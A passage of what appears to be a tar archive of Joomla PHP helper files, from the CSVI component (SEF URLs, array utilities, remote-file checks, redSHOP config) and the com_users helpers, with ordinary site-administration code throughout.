			echo JText::_('COM_CSVI_USER_LOGGED_OUT')."\n";
		}
	}
}
?>�����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������csvisef.php�����������������������������������������������������������������������������������������0000666�����������������00000014567�15137667660�0006761 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php
/**
 * CSVI SEF helper
 *
 * @package 	CSVI
 * @author 		Roland Dalmulder
 * @link 		http://www.csvimproved.com
 * @copyright 	Copyright (C) 2006 - 2013 RolandD Cyber Produksi. All rights reserved.
 * @license 	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 * @version 	$Id: csvisef.php 2275 2013-01-03 21:08:43Z RolandD $
 */

defined( '_JEXEC' ) or die( 'Direct Access to this location is not allowed.' );

/**
 * SEF helper class for the component
* @package CSVI
 */
Class CsviSef {
	
	// Private variables
	private $_sef = null;
	private $_domainname = null;
	
	/**
	 * Constructor
	 * 
	 * @copyright 
	 * @author 		RolandD
	 * @todo 
	 * @see 
	 * @access 		public
	 * @param 
	 * @return 
	 * @since 		4.0
	 */
	public function __construct() {
		$this->_domainname = CsviHelper::getDomainName();
	}
	
	/**
	* Create a SEF URL
	*
	* @copyright
	* @author		RolandD
	* @todo			Change exportsef to template
	* @see
	* @access 		private
	* @param 		string	$url	The url to change to SEF
	* @return 		string	the new url
	* @since 		3.0
	*/
	public function getSiteRoute($url) {
		$jinput = JFactory::getApplication()->input;
		$template = $jinput->get('template', null, null);
		$csvilog = $jinput->get('csvilog', null, null);
		$parsed_url = null;
		// Check which SEF component is installed
		if (empty($this->_sef)) {
			if ($template->get('exportsef', 'product', false)) {
				// Joomla SEF
				if (JPluginHelper::isEnabled('system', 'sef')) $this->_sef = 'joomla';
	
				// sh404SEF check
				if (JPluginHelper::isEnabled('system', 'shsef')) $this->_sef = 'sh404sef';
	
				// JoomSEF check
				if (JPluginHelper::isEnabled('system', 'joomsef')) $this->_sef = 'joomsef';
	
				// AceSEF check
				if (JPluginHelper::isEnabled('system', 'acesef')) $this->_sef = 'acesef';
	
				// There is no SEF enabled
				if (empty($this->_sef)) $this->_sef = 'nosef';
			}
			else $this->_sef = 'nosef';
		}
	
		switch ($this->_sef) {
			case 'sh404sef':
				$parsed_url = $this->_sh404Sef($url);
				break;
			case 'joomsef':
				$parsed_url = $this->_joomSef($url);
				break;
			case 'joomla':
				$parsed_url = $this->_joomlaSef($url);
				break;
			case 'acesef':
				$parsed_url = $this->_aceSef($url);
				break;
			case 'nosef':
			default:
				// No SEF router found, returning regular URL
				return $this->_domainname.JRoute::_($url);
				break;
		}
	
		// Clean up the parsed SEF URL
		if (!empty($parsed_url)) {
			// Clean up the parsed SEF URL
			if (substr($parsed_url, 4) == 'http') return $parsed_url;
			else {
				// Check for administrator in the domain
				$adminpos = strpos($parsed_url,'/administrator/');
				if ($adminpos !== false) $parsed_url = substr($parsed_url,$adminpos+15);
	
				// Check if we have a domain name in the URL
				if (!empty($this->_domainname)) {
					$check_domain = str_replace('https', 'http', $this->_domainname);
					$domain = strpos($parsed_url, $check_domain);
					if ($domain === false) {
						if (substr($parsed_url, 0, 1) == '/') $parsed_url = $this->_domainname.$parsed_url;
						else $parsed_url = $this->_domainname.'/'.$parsed_url;
					}
					return $parsed_url;
				}
				else {
					$csvilog->addDebug(JText::_('COM_CSVI_NO_DOMAINNAME_SET'));
					return $url;
				}
			}
		}
	}
	
	/**
	 * Create sh404SEF URLs
	 *
	 * @copyright
	 * @author 		RolandD
	 * @todo
	 * @see 		http://dev.anything-digital.com/sh404SEF/
	 * @see			getSiteRoute()
	 * @access 		private
	 * @param 		string	$url	the original URL to turn into SEF
	 * @return 		string SEF URL
	 * @since 		3.0
	 */
	private function _sh404Sef($url) {
		// Load sh404SEF
		require_once(JPATH_ADMINISTRATOR.'/components/com_sh404sef/sh404sef.class.php');
		$sefConfig = shRouter::shGetConfig();
	
		// Turn off any security and flooding setting
		$sefConfig->shSecEnableSecurity = 0;
		$sefConfig->shSecActivateAntiFlood = 0;
	
		// Require some necessary files
		require_once(JPATH_ROOT.'/components/com_sh404sef/shCache.php');
		require_once(JPATH_ROOT.'/components/com_sh404sef/shSec.php');
	
		// Start the sh404sef Router
		if (class_exists('shRouter')) $shRouter = new shRouter();
		else return $this->_domainname.'/'.$url;
	
		// Force the domain name
		$GLOBALS['shConfigLiveSite'] = $this->_domainname;
	
		// Initialize sh404sef
		include_once(JPATH_ROOT.'/components/com_sh404sef/shInit.php');
	
		// Build the SEF URL
		$uri = $shRouter->build($url);
		$sefurl = $uri->toString();
		if (strpos($sefurl, 'http://') === false) {
			$sefurl = str_ireplace('http:/', 'http://', $sefurl);
		}
		return $sefurl;
	}
	
	/**
	 * Create JoomSEF URLs
	 *
	 * @copyright
	 * @author 		RolandD
	 * @todo
	 * @see 		http://www.artio.net/joomla-extensions/joomsef
	 * @see			_getSiteRoute()
	 * @access 		private
	 * @param 		string	$url	the original URL to turn into SEF
	 * @return 		string SEF URL
	 * @since 		3.0
	 */
	private function _joomSef($url) {
		// Include Joomla files
		jimport('joomla.application.router');
		require_once(JPATH_ROOT.'/includes/application.php');
	
		// Include JoomSEF
		require_once(JPATH_ROOT.'/components/com_sef/sef.router.php');
		$shRouter = new JRouterJoomSef();
	
		// Build the SEF URL
		$uri = $shRouter->build($url);
		return $uri->toString();
	}
	
	/**
	 * Create Joomla SEF URLs
	 *
	 * @copyright
	 * @author 		RolandD
	 * @todo
	 * @see 		http://www.joomla.org/
	 * @see			_getSiteRoute()
	 * @access 		private
	 * @param 		string	$url	the original URL to turn into SEF
	 * @return 		string SEF URL
	 * @since 		3.0
	 */
	private function _joomlaSef($url) {
		// Load Joomla core files for SEF
		jimport('joomla.application.router');
		require_once(JPATH_ROOT.'/includes/application.php');
		require_once(JPATH_ROOT.'/includes/router.php');
		$router = new JRouterSite(array('mode' => 1));
		$uri = $router->build($url);
		return $uri->toString();
	}
	
	/**
	 * Create aceSEF URLs
	 *
	 * @copyright
	 * @author 		RolandD
	 * @todo
	 * @see 		http://www.joomace.net/joomla-extensions/acesef
	 * @see			_getSiteRoute()
	 * @access 		private
	 * @param 		string	$url	the original URL to turn into SEF
	 * @return 		string SEF URL
	 * @since 		3.0
	 */
	private function _aceSef($url) {
		jimport('joomla.application.router');
		require_once(JPATH_ROOT.'/includes/application.php');
		require_once(JPATH_ADMINISTRATOR.'/components/com_acesef/library/router.php');
		require_once(JPATH_ADMINISTRATOR.'/components/com_acesef/library/loader.php');
	
		$router = new JRouterAcesef();
		$uri = $router->build($url);
		return $uri->toString();
	}
}
?>
�����������������������������������������������������������������������������������������������������������������������������������������csvi.php��������������������������������������������������������������������������������������������0000666�����������������00000026050�15137667660�0006251 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php
/**
 * CSVI General helper
 *
 * @package 	CSVI
 * @author 		Roland Dalmulder
 * @link 		http://www.csvimproved.com
 * @copyright 	Copyright (C) 2006 - 2013 RolandD Cyber Produksi. All rights reserved.
 * @license 	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 * @version 	$Id: csvi.php 2298 2013-01-29 11:38:39Z RolandD $
 */

defined( '_JEXEC' ) or die( 'Direct Access to this location is not allowed.' );

/**
 * Helper class for the component
* @package CSVI
 */
class CsviHelper {

	/**
	 * Combine 2 arrays and update existing values
	 *
	 * @copyright
	 * @author 		Amund
	 * @todo
	 * @see 		http://www.php.net/manual/en/function.array-merge.php#95294
	 * @access 		private
	 * @param 		array	$a	The array to update
	 * @param		array	$b	The array with new values
	 * @return 		array	combined array with all values
	 * @since 		3.0
	 */
	public function arrayExtend($a, $b) {
		foreach($b as $k=>$v) {
			if( is_array($v) ) {
				if( !isset($a[$k]) ) {
					$a[$k] = $v;
				} else {
					$a[$k] = self::arrayExtend($a[$k], $v);
				}
			} else {
				$a[$k] = $v;
			}
		}
		return $a;
	}

	/**
	 * Recursive array diff
	 *
	 * @copyright
	 * @author 		Amund, RolandD
	 * @todo
	 * @see 		http://www.php.net/manual/en/function.array-merge.php#91756
	 * @access 		private
	 * @param 		array	$aArray1	The array to update
	 * @param		array	$aArray2	The array with new values
	 * @return 		array	with all new values
	 * @since 		3.0
	 */
	public function recurseArrayDiff($aArray1, $aArray2) {
		$aReturn = array();
		if (is_array($aArray1) && is_array($aArray2)) {
			foreach ($aArray1 as $mKey => $mValue) {
				if (array_key_exists($mKey, $aArray2)) {
					if (is_array($mValue)) {
						$aRecursiveDiff = self::recurseArrayDiff($mValue, $aArray2[$mKey]);
						if (count($aRecursiveDiff)) { $aReturn[$mKey] = $aRecursiveDiff; }
					}
					else {
						if ($mValue != $aArray2[$mKey]) $aReturn[$mKey] = $mValue;
					}
				}
				else {
					$aReturn[$mKey] = $mValue;
				}
			}
		}
		return $aReturn;
	}

	/**
	 * Perform replacement on a value
	 *
	 * @copyright
	 * @author 		RolandD
	 * @todo
	 * @see
	 * @access 		public
	 * @param 		int		$id		the id of the replacement rule
	 * @param		string	$value	the text to replace
	 * @return 		string	the replaced text
	 * @since 		3.0
	 */
	public function replaceValue($id, $value) {
		static $replacements;

		if ($id > 0) {
			if (!isset($this->replacements[$id])) {
				// Get the replace details
				$db = JFactory::getDbo();
				$query = $db->getQuery(true);
				$query->select($db->quoteName('findtext'));
				$query->select($db->quoteName('replacetext'));
				$query->select($db->quoteName('method'));
				$query->from('#__csvi_replacements');
				$query->where('id = '.$db->Quote($id));
				$db->setQuery($query);
				$replace = $db->loadObject();
				$this->replacements[$id] = $replace;
			}
			else {
				$replace = $this->replacements[$id];
			}

			// Perform the replacement
			if (empty($replace)) return $value;
			else {
				switch ($replace->method) {
					case 'text':
						$fieldvalue = str_ireplace($replace->findtext, $replace->replacetext, $value);
						break;
					case 'regex':
						$fieldvalue = preg_replace($replace->findtext, $replace->replacetext, $value);
						break;
				}
			}
			return $fieldvalue;
		}
		else return $value;
	}

	/**
	 * Get the list of custom tables
	 *
	 * @copyright
	 * @author 		RolandD
	 * @todo
	 * @see
	 * @access 		public
	 * @param
	 * @return		array	list of order item product objects
	 * @since 		3.0
	 */
	public function getCustomTables() {
		$db = JFactory::getDbo();
		$q = "SELECT component_table
			FROM #__csvi_available_fields
			WHERE core = 0
			GROUP BY component_table";
		$db->setQuery($q);
		return $db->loadColumn();
	}

	/**
     * Check whether a file referenced by a URL exists
     *
     * Note: The time taken to check a valid format url:  0.10 secs, regardless of whether the file exists
     *
     * @copyright
     * @author 		doorknob, RolandD
     * @todo
     * @see
     * @access 		public
     * @param 		string	$file	The URL to be checked
     * @return 		boolean	true if file exists | false if file does not exist
     * @since 		2.17
     */
public function fileExistsRemote($file) {
    	// If it is an SSL file we cannot validate its existence
    	if (substr($file, 0, 5) == 'https') return true;

    	$jinput = JFactory::getApplication()->input;
    	$csvilog = $jinput->get('csvilog', null, null);
        $url_parts = @parse_url($file);
		$csvilog->addDebug('URL:'.$file);

        if (!isset($url_parts['host']) || empty($url_parts['host']))  {
            return false;
        }

        if (!isset($url_parts['path']) || empty($url_parts['path']))  {
            $documentpath = '/';
        }
        else {
            $documentpath = $url_parts['path'];
        }

        if (isset($url_parts['query']) && !empty($url_parts['query'])) {
            $documentpath .= '?'.$url_parts['query'];
        }

        $host = $url_parts['host'];

        if (!isset($url_parts['port']) || empty($url_parts['port']))  {
            if ($url_parts['scheme'] == 'https') $port = '443';
            else $port = '80';
        }
        else {
            $port = $url_parts['port'];
        }

        if ($url_parts['scheme'] == 'https') {
        	$sslhost = 'ssl://'.$host;
        }
        else $sslhost = $host;

		$errno = null;
        $errstr = null;
        $documentpath = str_replace(' ', '%20', $documentpath);
        $socket = @fsockopen($sslhost, $port, $errno, $errstr, 30);
        if ($socket) {
        	fwrite($socket, "HEAD $documentpath HTTP/1.1\r\nUser-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.11\r\nHost:  $host\r\n\r\n");
        	$http_response = fgets($socket, 25);
        	fclose($socket);

        	// Parse the result
        	$csvilog->addDebug('HTTP response:'.$http_response);
        	if (stripos($http_response, '200 OK') === false && stripos($http_response, '302 Found') === false) {
        		return false;
        	}
        	else return true;
        }


        return false;
    }

    /**
	 * Find the primary key of a given table
	 *
	 * @copyright
	 * @author 		RolandD
	 * @todo
	 * @see
	 * @access 		public
	 * @param 		$table	string	the name of the table to find the primary key
	 * @return 		string	the fieldname that is the primary key
	 * @since 		3.0
	 */
	public function getPrimaryKey($tablename) {
		$db = JFactory::getDbo();
		$q = "SHOW KEYS FROM ".$db->quoteName('#__'.$tablename)."
			WHERE ".$db->quoteName('Key_name')." = ".$db->quote('PRIMARY');
		$db->setQuery($q);
		$key = $db->loadObject();
		if (!is_object($key)) return '';
		else return $key->Column_name;
	}

	/**
	 * Get the domainname
	 *
	 * @copyright
	 * @author 		RolandD
	 * @todo
	 * @see
	 * @access 		public
	 * @param
	 * @return 		string	domain name
	 * @since 		3.4
	 */
	public function getDomainName() {
		$jinput = JFactory::getApplication()->input;
		$settings = $jinput->get('settings', null, null);

		// Get the domainname
		$domainname = $settings->get('site.hostname');
		// Check for the trailing slash at the domain name
		if (substr($domainname, -1) == '/') $domainname = substr($domainname, 0, -1);
		// Assign the domainname
		return $domainname;
	}

	/**
	 * Get supported components
	 *
	 * @copyright
	 * @author 		RolandD
	 * @todo
	 * @see
	 * @access 		public
	 * @param
	 * @return 		array of supported components
	 * @since 		4.0
	 */
	public function getComponents() {
		$db = JFactory::getDbo();
		$query = $db->getQuery(true);
		$query->select('component AS value, component AS text');
		$query->from($db->quoteName('#__csvi_template_types'));
		$query->leftJoin('#__extensions ON #__csvi_template_types.component = #__extensions.element');
		$query->where($db->quoteName('#__extensions.type').' = '.$db->Quote('component'));
		$query->group('component');
		$db->setQuery($query);
		return $db->loadObjectList();
	}

	/**
	 * Get the buttons for the control panel
	 *
	 * @copyright
	 * @author 		RolandD
	 * @todo
	 * @see
	 * @access 		public
	 * @param
	 * @return 		object	with the button HTML data
	 * @since 		3.0
	 */
	public function getButtons() {
		// Get the Cpanel images
		$cpanel_images = new stdClass();
		$cpanel_images->process = $this->CpanelButton('csvi_process_48.png', 'index.php?option=com_csvi&view=process', 'COM_CSVI_PROCESS');
		$cpanel_images->replacements = $this->CpanelButton('csvi_replace_48.png', 'index.php?option=com_csvi&view=replacements', 'COM_CSVI_REPLACEMENTS');
		$cpanel_images->maintenance = $this->CpanelButton('csvi_maintenance_48.png', 'index.php?option=com_csvi&view=maintenance', 'COM_CSVI_MAINTENANCE');
		$cpanel_images->help = $this->CpanelButton('csvi_help_48.png', 'http://www.csvimproved.com/csv-improved-documentation/', 'COM_CSVI_HELP');
		$cpanel_images->about = $this->CpanelButton('csvi_about_48.png', 'index.php?option=com_csvi&view=about', 'COM_CSVI_ABOUT');
		$cpanel_images->log = $this->CpanelButton('csvi_log_48.png', 'index.php?option=com_csvi&view=log', 'COM_CSVI_LOG');
		$cpanel_images->availablefields = $this->CpanelButton('csvi_av_fields_48.png', 'index.php?option=com_csvi&view=availablefields', 'COM_CSVI_AVAILABLE_FIELDS');
		$cpanel_images->settings = $this->CpanelButton('csvi_settings_48.png', 'index.php?option=com_csvi&view=settings', 'COM_CSVI_SETTINGS');
		$cpanel_images->install = $this->CpanelButton('csvi_install_48.png', 'index.php?option=com_csvi&view=install', 'COM_CSVI_INSTALL');
		return $cpanel_images;
	}

	/**
	 * Creates a button for the control panel
	 *
	 * @copyright
	 * @author		RolandD
	 * @todo
	 * @see
	 * @access 		private
	 * @param 		string	$image	contains the name of the image
	 * @param 		string	$link 	contains the target link for the image when clicked
	 * @param 		string	$title 	contains the title of the button
	 * @return		string returns a complete button for the control panel
	 * @since 		3.0
	 */
	private function CpanelButton($image, $link, $title) {
		if (substr($link, 0, 4) == "http") $attribs = ' target="_new"';
		else $attribs = '';
		$cpanelbutton = '<div class="cpanel_button">';
		$cpanelbutton .= '	<div class="icon">';
		$cpanelbutton .= JHTML::_('link', $link, JHTML::_('image', JURI::root().'administrator/components/com_csvi/assets/images/'.$image, JText::_($title)).'<span>'.JText::_($title).'</span>', $attribs);
		$cpanelbutton .= '	</div>';
		$cpanelbutton .= '</div>';
		return $cpanelbutton;
	}

	/**
	 * Get a Yes/No dropdown list
	 *
	 * @copyright
	 * @author 		RolandD
	 * @todo
	 * @see
	 * @access 		public
	 * @param 		string	$name		the name of the dropdown
	 * @param		string	$selected	pre-selected entry
	 * @param		string	$attribs	attributes to add to the dropdown
	 * @param		string	$idtag		the id to give to the dropdown
	 * @return 		string	that contains the dropdown with options
	 * @since 		4.0
	 */
	public function getYesNo($name, $selected=null, $attribs=null, $idtag=null) {
		$options = array();
		$options[] = JHtml::_('select.option', '0', JText::_('COM_CSVI_NO'));
		$options[] = JHtml::_('select.option', '1', JText::_('COM_CSVI_YES'));

		return JHtml::_('select.genericlist', $options, $name, $attribs, 'value', 'text', $selected, $idtag);
	}
}
?>
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/**
 * redSHOP config class
 *
 * @package 	CSVI
 * @author 		Roland Dalmulder
 * @link 		http://www.csvimproved.com
 * @copyright 	Copyright (C) 2006 - 2013 RolandD Cyber Produksi. All rights reserved.
 * @license 	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 * @version 	$Id: com_redshop_config.php 2275 2013-01-03 21:08:43Z RolandD $
 */

defined( '_JEXEC' ) or die( 'Direct Access to this location is not allowed.' );

/**
 * The redSHOP Config Class
 *
* @package CSVI
 */
class CsviCom_Redshop_Config {

	private $_redshopcfgfile = null;
	private $_redshopcfg = array();

	public function __construct() {
		$this->_redshopcfgfile = JPATH_ADMINISTRATOR.'/components/com_redshop/helpers/redshop.cfg.php';
		$this->_redshopcfg = file($this->_redshopcfgfile);
	}

	/**
	* Finds a given redSHOP setting
	* @var string $setting The config value to find
	* @return string the value of the config setting
	*/
	public function get($setting) {
		$key = $this->array_find($setting, $this->_redshopcfg);
		if ($key) {
			$find_setting = explode('\', \'', $this->_redshopcfg[$key]);
			return substr(trim($find_setting[1]), 0, -3);
		}
		else return false;
	}

	/**
	* Searched the array for a partial value
	* @return mixed Array key if found otherwise false
	*/
	private function array_find($needle, $haystack) {
	   foreach ($haystack as $key => $item) {
		  if (stripos($item, $needle) !== FALSE) {
			 return $key;
			 break;
		  }
	   }
	   // Nothing found return false
	   return false;
	}
}
?>��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������debug.php�������������������������������������������������������������������������������������������0000666�����������������00000007310�15137725011�0006352 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php
/**
 * @package		Joomla.Administrator
 * @subpackage	com_users
 * @copyright	Copyright (C) 2005 - 2014 Open Source Matters, Inc. All rights reserved.
 * @license		GNU General Public License version 2 or later; see LICENSE.txt
 */

// No direct access.
defined('_JEXEC') or die;

/**
 * Users component debugging helper.
 *
 * @package		Joomla.Administrator
 * @subpackage	com_users
 * @since		1.6
 */
class UsersHelperDebug
{
	/**
	 * Get a list of the components.
	 *
	 * @return	array
	 * @since	1.6
	 */
	static function getComponents()
	{
		// Initialise variable.
		$db		= JFactory::getDbo();
		$query	= $db->getQuery(true);

		$query->select('name AS text, element AS value')
			->from('#__extensions')
			->where('enabled >= 1')
			->where('type ='.$db->Quote('component'));

		$items = $db->setQuery($query)->loadObjectList();

		if (count($items)) {
			$lang = JFactory::getLanguage();

			foreach ($items as &$item)
			{
				// Load language
				$extension 	= $item->value;
				$source 	= JPATH_ADMINISTRATOR . '/components/' . $extension;
					$lang->load("$extension.sys", JPATH_ADMINISTRATOR, null, false, true)
				||	$lang->load("$extension.sys", $source, null, false, true);

				// Translate component name
				$item->text = JText::_($item->text);
			}

			// Sort by component name
			JArrayHelper::sortObjects($items, 'text', 1, true, $lang->getLocale());
		}

		return $items;
	}

	/**
	 * Get a list of the actions for the component or code actions.
	 *
	 * @param	string	The name of the component.
	 *
	 * @return	array
	 * @since	1.6
	 */
	public static function getDebugActions($component = null)
	{
		$actions	= array();

		// Try to get actions for the component
		if (!empty($component)) {
			$component_actions = JAccess::getActions($component);

			if (!empty($component_actions)) {
				foreach($component_actions as &$action)
				{
					$actions[$action->title] = array($action->name, $action->description);
				}
			}
		}

		// Use default actions from configuration if no component selected or component doesn't have actions
		if (empty($actions)) {
			$filename = JPATH_ADMINISTRATOR.'/components/com_config/models/forms/application.xml';

			if (is_file($filename)) {
				$xml = simplexml_load_file($filename);

				foreach($xml->children()->fieldset as $fieldset)
				{
					if ('permissions' == (string) $fieldset['name']) {
						foreach ($fieldset->children() as $field)
						{
							if ('rules' == (string) $field['name']) {
								foreach ($field->children() as $action)
								{
									$actions[(string) $action['title']] = array(
										(string) $action['name'],
										(string) $action['description']
									);
								}
								break;
								break;
								break;
							}
						}
					}
				}

				// Load language
				$lang 		= JFactory::getLanguage();
				$extension 	= 'com_config';
				$source 	= JPATH_ADMINISTRATOR . '/components/' . $extension;

					$lang->load("$extension.sys", JPATH_ADMINISTRATOR, null, false, true)
				||	$lang->load("$extension.sys", $source, null, false, true);
			}
		}

		return $actions;
	}

 	/**
	 * Get a list of filter options for the levels.
	 *
	 * @return	array	An array of JHtmlOption elements.
	 */
	static function getLevelsOptions()
	{
		// Build the filter options.
		$options	= array();
		$options[]	= JHtml::_('select.option', '1', JText::sprintf('COM_USERS_OPTION_LEVEL_COMPONENT', 1));
		$options[]	= JHtml::_('select.option', '2', JText::sprintf('COM_USERS_OPTION_LEVEL_CATEGORY', 2));
		$options[]	= JHtml::_('select.option', '3', JText::sprintf('COM_USERS_OPTION_LEVEL_DEEPER', 3));
		$options[]	= JHtml::_('select.option', '4', '4');
		$options[]	= JHtml::_('select.option', '5', '5');
		$options[]	= JHtml::_('select.option', '6', '6');

		return $options;
	}
}
������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������html/users.php��������������������������������������������������������������������������������������0000666�����������������00000006705�15137725011�0007400 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php
/**
 * @package		Joomla.Site
 * @subpackage	com_users
 * @copyright	Copyright (C) 2005 - 2014 Open Source Matters, Inc. All rights reserved.
 * @license		GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Users Html Helper
 *
 * @package		Joomla.Site
 * @subpackage	com_users
 * @since		1.6
 */

abstract class JHtmlUsers
{
	public static function value($value)
	{
		if (is_string($value)) {
			$value = trim($value);
		}
		if (empty($value)) {
			return JText::_('COM_USERS_PROFILE_VALUE_NOT_FOUND');
		}
		else {
			return htmlspecialchars($value);
		}
	}
	public static function spacer($value)
	{
		return '';
	}

	public static function helpsite($value)
	{
		if (empty($value))
		{
			return self::value($value);
		}
		else
		{
			$version = new JVersion();
			$jver = explode( '.', $version->getShortVersion() );

			$pathToXml = JPATH_ADMINISTRATOR.'/help/helpsites.xml';

			$text = $value;
			if (!empty($pathToXml) && $xml = JFactory::getXML($pathToXml))
			{
				foreach ($xml->sites->site as $site)
				{
					if ((string)$site->attributes()->url == $value)
					{
						$text = (string)$site;
						break;
					}
				}
			}

			$value = htmlspecialchars($value);
			if (substr ($value, 0, 4) == "http") {
				return '<a href="'.$value.'">'.$text.'</a>';
			}
			else {
				return '<a href="http://'.$value.'">'.$text.'</a>';
			}
		}
	}

	public static function templatestyle($value)
	{
		if (empty($value))
		{
			return self::value($value);
		}
		else
		{
			$db = JFactory::getDbo();
			$query = $db->getQuery(true);
			$query->select('title');
			$query->from('#__template_styles');
			$query->where('id = '.$db->quote($value));
			$db->setQuery($query);
			$title = $db->loadResult();
			if ($title) {
				return htmlspecialchars($title);
			}
			else {
				return self::value('');
			}
		}
	}

	public static function admin_language($value)
	{
		if (empty($value))
		{
			return self::value($value);
		}
		else
		{
			$path = JLanguage::getLanguagePath(JPATH_ADMINISTRATOR, $value);
			$file = "$value.xml";

			$result = null;
			if (is_file("$path/$file")) {
				$result = JLanguage::parseXMLLanguageFile("$path/$file");
			}

			if ($result) {
				return htmlspecialchars($result['name']);
			}
			else {
				return self::value('');
			}
		}
	}

	public static function language($value)
	{
		if (empty($value))
		{
			return self::value($value);
		}
		else
		{
			$path = JLanguage::getLanguagePath(JPATH_SITE, $value);
			$file = "$value.xml";

			$result = null;
			if (is_file("$path/$file")) {
				$result = JLanguage::parseXMLLanguageFile("$path/$file");
			}

			if ($result) {
				return htmlspecialchars($result['name']);
			}
			else {
				return self::value('');
			}
		}
	}

	public static function editor($value)
	{
		if (empty($value))
		{
			return self::value($value);
		}
		else
		{
			$db = JFactory::getDbo();
			$lang = JFactory::getLanguage();
			$query = $db->getQuery(true);
			$query->select('name');
			$query->from('#__extensions');
			$query->where('element = '.$db->quote($value));
			$query->where('folder = '.$db->quote('editors'));
			$db->setQuery($query);
			$title = $db->loadResult();
			if ($title)
			{
					$lang->load("plg_editors_$value.sys", JPATH_ADMINISTRATOR, null, false, true)
				||	$lang->load("plg_editors_$value.sys", JPATH_PLUGINS . '/editors/' . $value, null, false, true);
				$lang->load($title.'.sys');
				return JText::_($title);
			}
			else
			{
				return self::value('');
			}
		}
	}

}
�����������������������������������������������������������users.php�������������������������������������������������������������������������������������������0000666�����������������00000011142�15137725011�0006423 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_users
 *
 * @copyright   Copyright (C) 2005 - 2014 Open Source Matters, Inc. All rights reserved.
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

// No direct access.
defined('_JEXEC') or die;

/**
 * Users component helper.
 *
 * @package     Joomla.Administrator
 * @subpackage  com_users
 * @since       1.6
 */
class UsersHelper
{
	/**
	 * @var    JObject  A cache for the available actions.
	 * @since  1.6
	 */
	protected static $actions;

	/**
	 * Configure the Linkbar.
	 *
	 * @param   string  $vName  The name of the active view.
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	public static function addSubmenu($vName)
	{
		JSubMenuHelper::addEntry(
			JText::_('COM_USERS_SUBMENU_USERS'),
			'index.php?option=com_users&view=users',
			$vName == 'users'
		);

		// Groups and Levels are restricted to core.admin
		$canDo = self::getActions();

		if ($canDo->get('core.admin'))
		{
			JSubMenuHelper::addEntry(
				JText::_('COM_USERS_SUBMENU_GROUPS'),
				'index.php?option=com_users&view=groups',
				$vName == 'groups'
			);
			JSubMenuHelper::addEntry(
				JText::_('COM_USERS_SUBMENU_LEVELS'),
				'index.php?option=com_users&view=levels',
				$vName == 'levels'
			);
			JSubMenuHelper::addEntry(
				JText::_('COM_USERS_SUBMENU_NOTES'),
				'index.php?option=com_users&view=notes',
				$vName == 'notes'
			);

			$extension = JRequest::getString('extension');
			JSubMenuHelper::addEntry(
				JText::_('COM_USERS_SUBMENU_NOTE_CATEGORIES'),
				'index.php?option=com_categories&extension=com_users',
				$vName == 'categories' || $extension == 'com_users'
			);
		}
	}

	/**
	 * Gets a list of the actions that can be performed.
	 *
	 * @return  JObject
	 *
	 * @since   1.6
	 * @todo    Refactor to work with notes
	 */
	public static function getActions()
	{
		if (empty(self::$actions))
		{
			$user = JFactory::getUser();
			self::$actions = new JObject;

			$actions = JAccess::getActions('com_users');

			foreach ($actions as $action)
			{
				self::$actions->set($action->name, $user->authorise($action->name, 'com_users'));
			}
		}

		return self::$actions;
	}

	/**
	 * Get a list of filter options for the blocked state of a user.
	 *
	 * @return  array  An array of JHtmlOption elements.
	 *
	 * @since   1.6
	 */
	static function getStateOptions()
	{
		// Build the filter options.
		$options = array();
		$options[] = JHtml::_('select.option', '0', JText::_('JENABLED'));
		$options[] = JHtml::_('select.option', '1', JText::_('JDISABLED'));

		return $options;
	}

	/**
	 * Get a list of filter options for the activated state of a user.
	 *
	 * @return  array  An array of JHtmlOption elements.
	 *
	 * @since   1.6
	 */
	static function getActiveOptions()
	{
		// Build the filter options.
		$options = array();
		$options[] = JHtml::_('select.option', '0', JText::_('COM_USERS_ACTIVATED'));
		$options[] = JHtml::_('select.option', '1', JText::_('COM_USERS_UNACTIVATED'));

		return $options;
	}

	/**
	 * Get a list of the user groups for filtering.
	 *
	 * @return  array  An array of JHtmlOption elements.
	 *
	 * @since   1.6
	 */
	static function getGroups()
	{
		$db = JFactory::getDbo();
		$db->setQuery(
			'SELECT a.id AS value, a.title AS text, COUNT(DISTINCT b.id) AS level' .
			' FROM #__usergroups AS a' .
			' LEFT JOIN '.$db->quoteName('#__usergroups').' AS b ON a.lft > b.lft AND a.rgt < b.rgt' .
			' GROUP BY a.id, a.title, a.lft, a.rgt' .
			' ORDER BY a.lft ASC'
		);
		$options = $db->loadObjectList();

		// Check for a database error.
		if ($db->getErrorNum())
		{
			JError::raiseNotice(500, $db->getErrorMsg());
			return null;
		}

		foreach ($options as &$option)
		{
			$option->text = str_repeat('- ', $option->level).$option->text;
		}

		return $options;
	}

	/**
	 * Creates a list of range options used in filter select list
	 * used in com_users on users view
	 *
	 * @return  array
	 *
	 * @since   2.5
	 */
	public static function getRangeOptions()
	{
		$options = array(
			JHtml::_('select.option', 'today', JText::_('COM_USERS_OPTION_RANGE_TODAY')),
			JHtml::_('select.option', 'past_week', JText::_('COM_USERS_OPTION_RANGE_PAST_WEEK')),
